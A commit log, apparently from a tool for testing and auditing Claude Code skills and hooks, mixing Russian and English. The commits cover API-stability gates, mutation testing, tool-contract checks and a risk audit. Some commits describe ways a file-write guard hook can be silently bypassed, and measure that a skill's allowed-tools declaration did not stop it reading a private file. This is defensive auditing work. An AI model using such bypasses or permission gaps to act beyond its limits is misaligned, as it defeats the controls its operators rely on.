из закоммиченных `api-surface/*.api.md`, которые `api:check` и так держит
честными. Типы вне области: на дореформенной поверхности префикс несли
только функции, а `ServiceSpec`/`ServiceHandle`/`ContainerRuntime` — нет;
с типами гейт открылся бы 6 косметическими переименованиями против 1
настоящей находки и был бы заглушен в тот же день.
Настоящая находка одна и закрыта: `makeDockerRuntime` →
`experimental_makeDockerRuntime`.
8 тестов гейта, обе половины у каждого. Один нашёл баг в самом гейте:
`\s+\S` в маркере-исключении удовлетворялся переводом строки и звёздочкой
продолжения JSDoc, то есть голый маркер без причины проходил.
Поправка к предыдущему коммиту: §Status утверждал, что sha256-шапка
мешает загрузке скилла. Замер это ОПРОВЕРГАЕТ для соседней поверхности —
в `reviewer-ab.eval.mjs` живой Claude Code загрузил скомпилированный
`agents/code-reviewer.md` С шапкой через `--plugin-dir` и отдиспатчил в
него, 100% прогонов на реальном sonnet (2026-06-20). Формулировка сужена
до «непроверено», а не «сломано».
Гейты: vitest 2936 ✓ · lint 0 errors · prettier ✓ · api:check no drift ·
build ✓ · docs:check 0 (поймал устаревший импорт в
docs/railway-subagents.md — правка внесена) · experimental:check 0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs: STABILITY.md объявлял стабильным то, что переименовано и помечено экспериментальным
Найдено субагентом при разборе неймспейс-идеи, подтверждено мной.
`STABILITY.md` — документ под заголовком «What's stable — depend on it» —
перечислял `skill` среди стабильных билдеров `vigiles/spec`. После
переименования такого символа нет вообще, а то, во что он переименован,
в предыдущем коммите объявлено экспериментальным. То есть контракт
стабильности обещал стабильность несуществующему имени. Третий экземпляр
«проза против механики» в этой же области за два дня, и мой гейт его НЕ
ловит: он сверяет TSDoc-тег с именем, а не документ с API.
Заодно записано то, что вскрылось при проверке:
- `input()` и `step()` используются ТОЛЬКО скилл-спеками, но экспортируются
без префикса и без тега — то есть словарь экспериментальной фичи выглядит
стабильным. Слепая зона гейта: он энфорсит «тег ⇒ имя», но не «на всём,
что должно, стоит тег».
- Маркеров нестабильности в проекте ТРИ и правила выбора между ними нет:
`@internal` (39 объявлений), `@experimental` (18), префикс
`experimental_` (8 публичных символов). Секция больше не утверждает, что
маркер один.
- У `pipe` тег `@internal` стоит только на ПЕРВОЙ перегрузке, поэтому
остальные в api-репорте читаются как `@public (undocumented)`.
Гейты: prettier ✓ · docs:check 0 · experimental:check 0 · lint 0 errors.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat!: один маркер нестабильности вместо трёх — префикс имени
BREAKING: `pipe` `pipeStep` `needs` `start` `andThen` `effect` →
`experimental_*` на `vigiles` и `vigiles/linting`. Пользователей нет.
## Выбрано
**Экспортируем и не стабильно — имя начинается с `experimental_`.**
Тег `@experimental` объявляет это один раз, `experimental:check` роняет CI,
если у помеченного публичного символа нет префикса — тег и имя разъехаться
не могут. `@internal` перестал означать «нестабильно»: он отвечает на
ДРУГОЙ вопрос — входит ли символ в API вообще — и верен только на том, что
мы не экспортируем.
Почему имя, а не тег: тег не виден там, где решают. Имя видно в каждом
вызове, дифе, ревью и автокомплите. Ровно так протёк `skill()` — стабильное
имя при доке «`skill()` is experimental».
## Исправлено всё
Было три маркера без правила выбора: `@internal` 39 объявлений,
`@experimental` 18, префикс 8 публичных символов. Найдено 6 противоречий —
символы с `@internal`, которые ЭКСПОРТИРУЮТСЯ; все шесть переименованы, теги
переведены на `@experimental`.
## Два дефекта в гейте, отгруженном час назад
1. 🔴 Тег читался только если стоял на строке ОДИН (`@experimental\s*$`).
Реальные теги несут прозу — `@internal Experimental typed-composition
surface — …` у `pipe`, два в `services.ts`. Замер: **2 из 8**
`@experimental` и **31 из 39** `@internal` объявлений были гейту не
видны. Строгий паттерн выглядел безопаснее и был наоборот.
2. Между JSDoc и объявлением может стоять комментарий (`eslint-disable`
перед перегрузками `pipe`) — привязка к следующему символу его теряла.
После починки гейт видит 14 объявлений вместо 6.
## Записано
`STABILITY.md` — секция «The one rule» + список; `CLAUDE.md.spec.ts` →
перекомпилированный `CLAUDE.md` (правило №51). Плюс честно записанная
дыра: гейт энфорсит «помечено ⇒ названо», но НЕ «всё, что должно быть
помечено, помечено» — живой пример `input()`/`step()`, словарь только
скилл-спеков, без тега и префикса.
## Третий раз за сессию
Фикстура-спека в шаблонной строке (`generate-harness.test.ts:505`) не видна
ни tsc, ни грепу по импорту — ловится только прогоном тестов. До этого то же
в `cli.test.ts` (дважды).
5 новых тестов гейта (13 всего), включая закрепление обоих дефектов выше.
Гейты: vitest 2941 ✓ · lint 0 errors · prettier ✓ · api:check no drift ·
build ✓ · docs:check 0 (поймал `docs/cli.md:646`) · experimental:check 0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
* docs(testing): runMutations was in the reference only — the guide never mentioned it
Measured after shipping it, not guessed: `runMutations` appeared in exactly ONE
file, `testing-api.md`. Zero mentions in `harness-testing.md` (the task-first
guide), `testing-matrix.md` and `docs/README.md`. The reference says of itself
"the guide has the task-first how-to; this is the reference" — so anyone
following the guide would never learn the API exists. And the runner table still
opened with "Four runners" while listing five.
That is the same defect the API was built to catch, produced by its own docs:
prose and content disagreeing, with nothing to notice.
- harness-testing.md — a routing row in "What do you want to test?" plus a full
section, including the two things the reference did not say at all:
WHEN NOT TO reach for it (a one-off script, an already-red test, or wanting a
coverage number — mutation counts here say how many cases you wrote, not how
good the suite is), and CI, where the honest answer is usually "don't": a run
forks a process per case over full files, so it belongs in a hand-run pass
after editing the test or the checker, or in its own job if wired at all.
- testing-api.md — "Four runners" now says four for the harness plus a fifth
that asks about your tests, which is what the table actually shows.
- testing-matrix.md — a row for src/mutations.test.ts, naming the properties it
covers, so the coverage map matches the suite.
- docs/README.md — an entry under the API reference pointing at both.
Gates: prettier · lint 0 errors · the 10 mutation tests still pass.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* revert(testing): withdraw runMutations — it does not belong in this package
Shipped in #142 and 15.3.0; withdrawn a day later on the owner's question:
«how is this vigiles' responsibility, it's just nodejs?» He is right, and the
measurement is what settles it rather than taste.
Against the rest of this package: runHook knows the Claude Code hook protocol,
measureTriggerRate knows what a skill is, skillContract reads allowed-tools out
of frontmatter. This module knows none of that. It replaces a substring, spawns
`node`, and reads stdout — lift it into any Node repository and it works
unchanged. A newcomer reading the testing docs hits exactly the owner's question,
which is the cost this surface was charging.
The confirming measurement, and the one I should have taken before merging: NO
TEST IN THIS REPOSITORY USED IT. The only references were its own test file, its
export line and its docs. The package did not dogfood the API it published.
What actually fixed the problem it was extracted for was CONSOLIDATION, not
RELOCATION. Ten hand-written copies of one driver had drifted apart in a consumer
repository — the no-op guard in 4 of 10, the retry in 1 of 10. One shared copy
buys all of that. Moving that copy into a product for harness authors was a
second and separate step, and nothing justified it.
The engine survives where its callers are, with the reasoning recorded in its
header so it is not re-proposed. The shape that WOULD belong here is a different
function that does not exist yet: mutate the HOOK — remove one branch of a guard
— and require the assembled harness test to notice. Only vigiles knows what a
hook is.
Removed: src/mutations.ts, src/mutations.test.ts, the export block in
src/testing.ts, the api-surface entry, and the docs sections in testing-api.md
(from #142) plus the guide, matrix and README entries this branch had added.
Gates, in order: npx vitest run (2916 passed, 172 files) · npm run lint (0 errors)
· npx prettier --check . · npm run api:check (no drift) · npm run build.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* ci: перезапуск проверки заголовка PR
Тип `revert` не входит в список, который принимает линтер заголовков
(feat/fix/docs/chore/refactor/test/perf/ci/build). Заголовок переименован в
`refactor(testing)!` — восклицательный знак несёт то, что `revert` нёс
именем: изъятие опубликованного API ломающее.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>
A green test says the checker passed. It does not say the test would notice if
the check were DELETED: an assertion can be vacuous, a fixture can be wrong in
the same direction as the code, and both look exactly like a pass. `runMutations`
plants a defect, runs the test that owns it, and requires that test to go red
WITH THE MESSAGE THAT NAMES the defect.
## Why this belongs in the package
It arrived as ten hand-written copies of one driver in a dogfooding repo (1799
lines), and the copies had drifted. Counted against the committed versions:
- the NO-OP guard (a replacement equal to the original leaves a green test that
proves nothing) was in 4 of 10;
- the RETRY on a non-kill (a flake reported as a survivor sends the next reader
to rewrite a working assertion) was in 1 of 10;
- the strict rule — killed by its OWN named assertion, not merely by something
going red — was in 1 of 10.
Each was written AFTER it caught something, in whichever copy caught it, and
never travelled. Two copies also named a test file a refactor had deleted, and
the runner they used exits 0 on a path matching nothing, so those cases reported
SURVIVED on every run for three days.
## Five verdicts, one of which is proof
killed · wrong-assertion (a neighbour caught it) · survived · unjudgeable (the
test was already red before the run, so "red" says nothing) · not-applied (find
matched 0 or many, or the replacement equalled the original).
The baseline matters more than it looks: without it, a test that is red ON
PURPOSE — an open finding it exists to report — makes every run announce a failed
restore about a working one, and makes every case against it look killed.
## What refuses rather than reports
An empty case list and a named test file that does not exist both throw BEFORE
any file is touched. A runner with nothing to run reports success, and that is
the one claim this API exists to prevent.
## Verification
vitest 2924 passed · lint 0 errors · prettier · api:check (additive only, +53
lines to vigiles-testing) · build. The new file has 10 tests, each building a
real checker and a real test in a temp dir — a mocked runner would be judging a
mock. Mutation-tested itself: removing the strict-kill rule, the no-op guard, or
the existence check each turns the suite red on its own assertion.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
Co-authored-by: Claude <noreply@anthropic.com>
* wip: branch anchor
* feat(experimental): experimental_emitTool/parseEmitted/assertEmittedOk — a typed result carried by a TOOL CALL
An unforked skill has no call→return boundary, so compile hard-errors
output-without-fork on 31 of our 38 skills. A tool call needs no return
boundary: the skill EMITS mid-conversation and the call lands in
Trace.toolCalls. Same OutputContract, different delivery.
Marked experimental in the API itself — experimental_ prefix on every
runtime export plus a JSDoc block listing, by number, what is unproven
(N=3, no compile-time consumer, transport untested, runtime does not
enforce required) and what would have to be true to drop the prefix.
No new CLI verbs or flags.
shapeError is exported from the CC agent-result parser so both rails
validate a contract with the SAME code — a second copy would drift.
* examples(experimental-emit): the runnable measurement — MCP server + runner
emit-server.mjs serves ONE tool, read from JSON that experimental_emitTool
produced; hand-copying the schema would test the copy, not the API.
run-emit.mjs takes a real skill dir, refuses one with context: fork, swaps
exactly the '## Record the verdict' section for the emit instruction, runs
it through the real CLI and reads the result back from ctx.toolCalls.
Records are appended per trial, not buffered to the end. VIGILES_EMIT_DRY
rehearses the swap for $0. Not named *.eval.mjs so a CI sweep can never
reach a paid run.
* measure: 8 runs of an UNFORKED skill, 8 emits, 8/8 parse — plus a $3 defect in isRateLimited
The measurement. paper-status (no context: fork, so it can carry no output:
contract today) emitted a typed verdict by calling the tool, and the call
lands in Trace.toolCalls next to the Skill activation that spliced the skill
in inline. 8 runs, 8 emits, all ok, none repeated; scored offline for $0 by
score-emits.mjs through the same experimental_parseEmitted a test would use.
Two independent witnesses (MCP server log + CLI transcript) agree 8/8 on
track, count, verdict and report hash.
The run also exposed a real defect: the CLI emits an informational
{"type":"rate_limit_event",...,"status":"allowed"} line on EVERY run, and
isRateLimited's /rate.?limit/i matched it because . matches _. So every eval
trial silently ran retries+1 = 4 times, and maxCostUsd only ever saw the LAST
attempt: 2 trials became 8 model runs and a $0.60 cap was crossed at roughly
$3. Separator is now [ -]? plus an explicit rate_limit_error clause; the
telemetry line is captured verbatim as a fixture and asserted both ways.
Records are redacted (the long free-text report bodies are replaced by
head+length+sha256) and the raw files are gitignored: a run replays a skill
from a private corpus into a public repo.
* measure: run the TODAY-assertion against the same 8 outputs — green 8/8 while its number is NaN 8/8
The write-up asserted that the prose regex would break on real output. Asserting
that is the failure mode the standing rules name, so it is executed instead:
/BLOCKED/ matches 8 of 8 and /(\d+)\s+blockers?/ matches 0 of 8 — the assertion is
green and the count it exists to guard is NaN every time. Only the derived booleans
are published; the model prose describes a private corpus.
(Pushed via the GitHub API: git-over-HTTPS is failing in this container because
/root/.ccr/agent-proxy-ca.crt was truncated to 2 bytes mid-session.)
* docs: раздел про record()/state() + публичная страница экспериментальной поверхности
Обе фичи отгружены без единой строки в docs/. record()/state() приехали в #135,
experimental_emitTool — на этой ветке; ни то, ни другое из публичных доков не читалось.
docs/experimental.md намеренно отдельным файлом, а не абзацем в основных гайдах:
недоказанное не должно стоять в одном ряду с semver-стабильным. На странице —
что померено (N=8, 8/8), что НЕ померено (одна модель, один скилл, нет compile-time
пути, транспорт не проверен), чего оно НЕ покупает (схему рантайм не энфорсит,
Bash не уходит — allowed-tools это пред-одобрение), что должно стать правдой,
чтобы снять префикс, и стабильная альтернатива.
Прогнано: prettier --check docs/ · npm run lint · vitest по experimental-emit ·
vigiles lint (21 ссылка в код-блоках, все валидны).
---------
Co-authored-by: Claude <noreply@anthropic.com>
`commandView` already builds the list of write targets and collapses it to a
boolean on the way out, so every consumer that needed a FILENAME rebuilt it from
the raw command string. The shipped paper guard carries a 69-line character scan
with its own quote tracking for exactly that, and that scan has three documented
silent bypasses (a quoted path, an absolute path, a path eaten by a wrapper).
- `writeTargets(prefixes)` returns the matched targets; `prefixes` is required
and there is no unfiltered form, because a consumer holding the raw list has to
re-implement the prefix matching that produced every one of those bypasses.
- `writesTo` becomes `writeTargets(prefixes).length > 0` — one code path, so the
boolean and the list cannot drift the way `runs()` and `writesTo` did.
- `NormalizedLeaf.chdir`: `stripWrappers` read the `env -C` / `sudo -D` value in
order to skip past it and then discarded it, so `env -C migratsiya sed -i
papers/x.tex` reported NO write under `migratsiya/papers` — measured false
before this change. A leaf's own chdir wrapper now resolves. A redirection is
deliberately NOT joined onto it: the shell opens `> out.txt` in its own
directory before `env` ever runs.
Out of scope and pinned by a characterization assertion: cross-statement cwd
(`cd x && …`, `pushd`, subshells). Connectors do not survive leaf extraction and
`cd x; cmd` writes into the OLD directory when the `cd` fails — a model with
failure semantics, not a field on a leaf.
Both halves tested for every new behaviour, and both mutations verified to land
before running: returning the unfiltered list fails 6 tests; restoring `writesTo`
as its own extraction fails 2, including the dedicated derivation test.
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
Co-authored-by: Claude <noreply@anthropic.com>
* feat(hook): runtime-owned named state — record() + state(), and the two routing defects it exposed
A compiled hook could read declared context but could not remember anything, so
every advisory hook in the dogfood repo stayed hand-written shell. A hook now
names a fact, the runtime stores it, and any hook in the same directory declares
that name in needs and reads it back with its age.
Deliberately NO throttle: field — throttling is this primitive used twice, and
two measurements rejected the field. See the design note in core/hook-state.ts.
Also fixes two routing defects the dogfood exposed, both measured against the
real runtime: a react's tool filter disagreed with the matcher the compiler
emits (a family matcher was silently dropped), and a react on a tool-less event
(Stop) could never fire at all.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook): an empty tool list must match nothing, not the empty tool name
Found by a mutation that was meant to disable tool-less reacts and did not:
with no tools the joined pattern is ^()$, which matches the empty string, and
a tool-less event's tool name IS the empty string.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(hook): api surface report, lint and prettier for runtime-owned state
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(hook): regenerate the API surface after the rebase onto main
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(test-coverage): deliver untested-skill as an edit-time nudge
The `untested-skill` rule was already stated correctly, but it only ran
inside `vigiles lint` — which someone has to remember to type. A rule that
fires only when invoked by hand is prose, not policy.
`skillTestNudge` reuses the SAME detector (`findUntestedSurfaces`) at the
moment a skill/agent surface is edited, and is wired into the existing
PostToolUse entry rather than adding a fourth hook or a new CLI verb.
Two things it deliberately does:
- It distinguishes "no test at all" from "has a harness but was never
EVALUATED". An edit to a SKILL.md is usually an edit to the description,
i.e. to the trigger surface, and a deterministic harness structurally
cannot tell you whether a description still fires.
- It hands off to the `test-harness` skill instead of saying "write a test".
An agent already knows it needs a test; what it does not know is with
what. A nudge that restates the obligation and withholds the vocabulary
is the failure this replaces.
This also corrects a backwards gate: the existing lock nudge is self-gating
on a committed lock, so a repo that already tests got reminded while a repo
that had never written a test heard nothing at all.
* fix(test-harness): name the observation vocabulary, and fix a broken example
Measured on the four questions that actually missed in live work (recorded in
examples/harness/dogfood/test-harness.gaps.trigger.eval.mjs), the skill fired
25% of the time — against 90% on the prompts it was authored with.
Two matched prompt sets, Russian and English, scored identically (25/25),
prompt for prompt, which rules out a language effect: the gap was conceptual.
The description enumerated SURFACES ("a hook fires or blocks", "a skill
triggers", "injected context lands") and never named the OBSERVATION
vocabulary — which tools a run called, whether it stayed inside its declared
allowed-tools, what it wrote, how to intercept a call without executing it.
Half the real questions are asked that way, and they landed on nothing.
- description: add the observation half (460 chars, within the 500 budget).
- new "Step 0.4 — Observing a run": maps each of those questions to the API
that already ships. Its absence is why an agent working in this repo
reinvented parseToolCalls, snapshotTree/diffTrees, interceptTools and the
effect-boundary tier in a single session.
- state the one real asymmetry rather than imply coverage: files have
assertWroteOnly, tools have only the black-list notTool.
- fix the deterministic-tier example, which imported `scriptModel` from
`vigiles/testing`. It is not exported there — deliberately, to keep that
entry point harness-agnostic — so the example returned undefined.
After: 100% on the field-miss set (RU and EN), recall held at 90% on the
authored set with false-positive 0% / precision 100%.
* feat(testing): onlyTools + skillContract — verify a skill against its own declaration
A SKILL.md declares its capability surface in `allowed-tools:` and nothing ever
checked that a run stayed inside it. That is this project's own thesis pointed
at its own file format: the declaration is prose until something mechanical
reads it.
The gap was a missing half of a symmetry the file surface already had:
| "not this one" | "nothing but these"
files | assertNoWrite | assertWroteOnly
tools | notTool | (nothing)
`notTool` can only forbid the calls a test author thought of, and the set of
undeclared tools is unbounded — so "it stayed inside its contract" was not
expressible.
- `onlyTools(allowed)` — the white-list check. Reports every distinct offender,
not just the first. FAILS on a trace that recorded no tool calls, mirroring
`assertWroteOnly` refusing a result that never recorded writes: an uncaptured
run is indistinguishable from a tool-free one, and passing it asserts nothing.
- `skillContract(dir)` — reads the frontmatter and hands back ready checks
(`activation`, `surface`). No new assertion machinery and no third entry
point: a contract is a bag of ordinary `Check<Trace>`s, so it composes into
both the deterministic and eval tiers unchanged.
Two states are findings rather than clean bills, and both fail instead of
passing vacuously:
- `undeclared` — no `allowed-tools:` line, so the skill inherits EVERY tool.
Reporting "no violations" would present the widest surface as the cleanest.
- `malformed` — frontmatter that isn't valid YAML. A strict loader reads no
contract, so the declared set is unknown rather than empty. Observed live
while writing this change: one unquoted `: ` inside a description silently
voided a skill's whole tool contract, and the audit correctly reclassified it
as inheriting everything.
The `Skill` activation call is exempt — it is the harness's own loading
mechanism, appears in every trace, and is never listed in `allowed-tools:`, so
counting it would fail every contract on every run.
Honest limit, stated in the skill rather than implied away: `onlyTools` compares
tool NAMES, so a narrow entry like `Bash(node x.mjs:*)` is satisfied by any
`Bash` call. Scope inside a tool stays unverified.
* docs(dogfood): record the measured numbers, and correct an overstated claim
The commit that added the observation vocabulary quoted "100% RU and EN". That
was measured on a 594-char variant which did not ship: it tripped the linter's
own 500-char description budget, so the text that shipped is the 460-char one,
which measures RU 75% / EN 100%.
The table now records all four variants, and states plainly what the data does
NOT support — at n=8 the 75/88/100 spread across the fixed variants is one to
two runs, so it does not establish that longer wins. The shipped text defers to
the budget rule rather than overriding a documented heuristic on evidence that
cannot distinguish the alternatives.
What the data does support is unchanged and large: naming the observation
vocabulary moved the field-miss set from 2/8 to 6-8/8, and the pre-fix RU and
EN sets scored identically, prompt for prompt, which rules out a language
effect and locates the gap in the concept.
* feat(coverage)!: one detector — colocation. Remove declaration and mention
BREAKING: `untested-*` coverage is now decided by placement alone. A
`vigiles:covers` declaration and a name-mention in a test's code no longer
confer coverage. Repos relying on either will see their untested counts rise.
There were three detectors and they were never three STRENGTHS of evidence —
they were three NAMING CONVENTIONS, all answering "does this surface's name
appear near a test?" and none answering "did anything run against it?".
Ranking them implied a precision that did not exist.
Measured on this repo before the change, `mention` supplied 9 of 10 covered
surfaces. Reading what credited what: three were real dedicated evals that
colocation could not see, and at least three were FALSE — `hooks/pre-edit.sh`
and `hooks/post-edit.sh` were credited by `test-coverage.test.ts`, i.e. the
coverage detector's own suite naming them as fixtures. The detector granted
coverage to hooks because it tested itself against them.
`declared` fared no better in practice. Its first real use in a consumer repo
declared a conformance LINT over 21 skills as coverage OF those 21 skills,
moving that repo 31 untested → 16 while nothing new was tested. It also needed
a guard assertion to stay honest: a mechanism watching the mechanism.
Colocation is kept because it cannot drift by construction — the test lives in
the surface's directory, so deleting the skill deletes its test, renaming moves
both, and `ls` answers the question without running anything.
Consequences, all deliberate:
- the detector no longer READS test files, only lists their paths, so coverage
can no longer be changed by editing text inside a test;
- comment-stripping, declaration parsing and evidence ranking are deleted;
- a good test living elsewhere now counts for nothing until it is moved next to
its surface. That is the intended pressure.
Honest remaining hole, now printed on every run rather than left to be
discovered: colocation says the file EXISTS, not that it RAN — an empty
`foo.eval.mjs` still counts. Closing that is a condition on this rule (a run
reporting >0 checks via the existing CHECK_COUNT channel), not a fourth kind.
Real cost: this repo goes 13 untested → 23, mine goes 31 → 36. Both numbers
are now true.
Tests: the removed tiers are pinned as INVERSIONS rather than deleted, so
re-introducing either fails the suite.
* feat(eval): containment comparison + a diagnostic for the confident zero
Both come from building a consumer's trigger suite (2026-08-11) and hitting the
same class of failure four times.
`compareContainment(weak, strong)` answers a question the model floor makes
people ask and nobody has measured: is a WEAKER model a valid lower bound? The
worst-case argument — tune against the weakest supported model, anything
stronger is covered — is valid only if everything that fires on the weak model
fires on the strong one. If it does not, the weak model is not a floor, it is a
DIFFERENT router, and tuning against it optimises a configuration nobody runs.
Selection is routing, not raw capability, so this is genuinely open.
The verdict separates the two directions on purpose: weak-only prompts are
counterexamples, strong-only prompts are the documented under-selection and NOT
a failure. Conflating them is how a real result gets read as a bug.
`formatTriggerRateReport` now names the setup causes when NOTHING fired on any
prompt. Three separate wiring mistakes each produced a confident, well-formed
0% — a bare id where the namespaced one was required, `pluginDir` where a loose
`skillsDir` was, and a missing `fixture` so every prompt asked about a file that
did not exist. Two were briefly written up as findings about the skills before
being caught. A zero that looks exactly like a result is worth a sentence about
why it usually is not one.
Deliberately only on a TOTAL zero: a partial rate is a real measurement and is
left alone, because a checker that second-guesses good data gets ignored and
then is not there for the case it exists for.
* docs(test-harness): document containment + the confident-zero trap
Answers "did you update the docs and the plugin?" — no, and both needed it.
docs/harness-testing.md gains two subsections under trigger-rate: the total-zero
triage (three setup causes, in the order they bite) and the containment
comparison, with the two directions kept apart — weak-only prompts are
counterexamples, strong-only ones are the expected under-selection the sonnet
floor exists for.
skills/test-harness/SKILL.md gains a row for `compareContainment` and, above the
tier table where an author will actually hit it, the rule that a 0% on EVERY
prompt is a wiring bug until proven otherwise. That is the failure this skill's
reader is most likely to mis-report, because it is well-formed and reads like a
verdict on the description.
`compareContainment` now states its own honest limit: it is harness-agnostic and
will run on Codex reports unchanged, and should not be trusted there yet. Codex
emits no skill-selection event, so `fired` is inferred and the tier is flagged
experimental — and that inference error lands exactly where this function looks,
manufacturing weak-only entries out of noise. A containment verdict is only as
strong as its weakest input signal.
Description budget and frontmatter still lint clean.
* trigger-containment: record the measured verdict — containment does not hold
21 skills x 4 prompts, one trial each, whole-harness against 37 competing
skills, haiku vs sonnet: 3 of 84 shared prompts fired on the weak model and
not the strong one, and one skill scored haiku 1.00 against sonnet 0.75.
The module header claimed nobody had measured it; that is no longer true.
Stated as 'containment is not established' rather than 'it breaks often' —
at one trial per prompt three breaks could be dispersion, and rejecting the
worst-case argument only needs the implication to be unproven.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): a skill naming a sibling skill that does not exist
danglingRefs matches PATHS in EXECUTABLE sources and skips prose by design,
so a skill referring to another BY NAME — the reference agents actually
follow — was checked by nothing. A rename breaks every mention silently:
nothing crashes, the model reads a route to a skill that is not there and
does something adjacent.
NEAR-MISS, not a name check, for precision. Flagging every backticked kebab
token would fire on node-fetch, pull-request, claude-code — and a checker
that fires on clean input is muted within a day. So it asks the narrower
question: is this token almost a skill that exists? Measured on a 38-skill
corpus: 0 findings clean, 1 finding with a single character removed from
one reference, naming the intended target.
Folds into the existing broken-reference deduction — no new verb, no new
category. The report field is optional because absence is not a claim.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(testing): commandsIn + mustInclude/mustNotInclude — a document's rule about its own commands
A skill or runbook states a rule in prose and ships commands that must obey
it: 'always pass curl -g, or bracketed params glob and the request fails
SILENTLY'. Rule and violation sit in the same file three paragraphs apart
and nothing compares them — prose isn't policy, at its smallest, aimed at
the author's own document.
vigiles cannot INFER such a rule; what was missing is a cheap way to DECLARE
it. Measured on a real skill 2026-08-11: expressing one rule took ~95 lines
of hand-rolled markdown parsing around ~5 lines of actual rule, and at that
price the check does not get written. With this, the test IS the rule.
Two decisions that keep it honest: extraction is fenced-blocks-only, so the
prose STATING the rule is not read as a violation of it; and an empty match
FAILS rather than passing vacuously, because a rule that held over zero
commands reads exactly like one that held over twenty.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* docs(doc-commands): the prior-art survey, including what is NOT novel here
Four quadrants, and this sits in the empty one: extraction (codedown),
extraction+universal linter (markdown-shellcheck), execution (mdsh, doctests),
matchers (vitest/jest). The nearest neighbour applies a UNIVERSAL correctness
checker; this applies the rule the document states about itself, which no
general linter can know and no doctest can express.
The extraction half is NOT novel and now says so, with the reason it is
reimplemented anyway (30 dependency-free lines vs vendoring an awk script)
and the composition worth stealing: hand the structured commands to a real
shellcheck when one is installed.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(lethal-trifecta): a skill's fence is `disallowed-tools`, not `allowed-tools`
A skill's `allowed-tools:` is a PRE-APPROVAL, not a restriction. Claude Code's
docs say so outright, under "Pre-approve tools for a skill":
"The `allowed-tools` field grants permission for the listed tools during the
turn that invokes the skill... It does not restrict which tools are available:
every tool remains callable... To remove tools from Claude's available pool
while a skill is active, list them in `disallowed-tools`."
Two bug reports say the same from the field, both closed as not-planned:
anthropics/claude-code#18837 (Jan 2026) and #37683 (Mar 2026) — the second
reproduced INTERACTIVELY, on a live model, on a different CLI version, with the
skill spawning an `Explore` subagent it had told itself never to use. Reproduced
locally under `claude -p` (CLI 2.1.227): a skill declaring
`allowed-tools: WebSearch, WebFetch` read a private file and wrote a new one.
`disallowed-tools` was then measured across 9 runs and DOES restrict. Cleanest
control, one run: the same `Read` succeeds BEFORE the skill activates and is
denied after — "Permission to use Read has been denied." — and through a `Task`
subagent in the same run, "Error: No such tool available: Read. Read is disabled
for this session, in subagents as well as here." Positive controls first (without
the line, `Read` succeeds); refutations failed (a `bogus-tools:` key blocks
nothing; an unactivated skill's fence does not apply).
So the check was reading a field that bounds nothing. It UNDERSTATED risk — "18 of
38 units hold the trifecta" on a corpus where all 38 did — and it CREDITED a narrow
`allowed-tools` with a reduction that does not exist. That is this project's own
thesis, a declaration present is not a rule enforced, violated by this project.
Dogfood, before and after, on this repo: Safety 100 -> 70. All four skills here
declare narrow `allowed-tools` with no web tool, so the old reading called the
whole surface clean.
The SHAPE changed too, not only the arithmetic. Counting every unfenced skill as
its own finding fires on ~100% of every real harness, and a check that fires on the
ecosystem default is muted within a day — taking the hard findings with it. So:
- `fence: "none"` (no `disallowed-tools:` line) is ONE aggregate line plus the
skill names, in the report, the Safety ring, and `lint` (where it also stops
emitting one GitHub annotation per SKILL.md). It is one fact about the harness,
not N facts about N skills.
- `fence: "ineffective"` (a fence that closes no leg) keeps its own line: rare,
per-skill, and a real mistake — same shape as disallowed-tools-contract's
"this entry blocks nothing".
Presentation differs; SEVERITY AND GRADE DO NOT. Both are "advisory" and both count
once toward `trifectaExposure`, so collapsing the presentation never shrinks the
penalty, and an ineffective fence (capability <= no fence) can never grade worse
than no fence — the non-monotonicity this rule was already fixed for once.
A leg is closed only when every built-in that supplies it is denied. That supplier
catalog is deliberately WIDER than the allow-side one: on the allow side a missing
tool under-states risk (safe), on the deny side it would over-state safety. Filtered
against the dialect's own catalog so a Claude Code author is never told to deny
Codex's `shell`. Stated limit, in the rule doc: a session-provided MCP server can
re-supply a closed leg, so "closed" means closed among the built-ins.
SUBAGENTS ARE UNCHANGED. A subagent's `tools:` is a documented rail that really
does bound the unit; `lethalTrifectaIssues` and every agent path are untouched.
Tests pin the point directly: a skill with `allowed-tools: Read, Grep` and one
declaring the entire catalog produce byte-identical findings, and a narrow list
still yields a finding — that test fails if anyone reintroduces the old reading.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
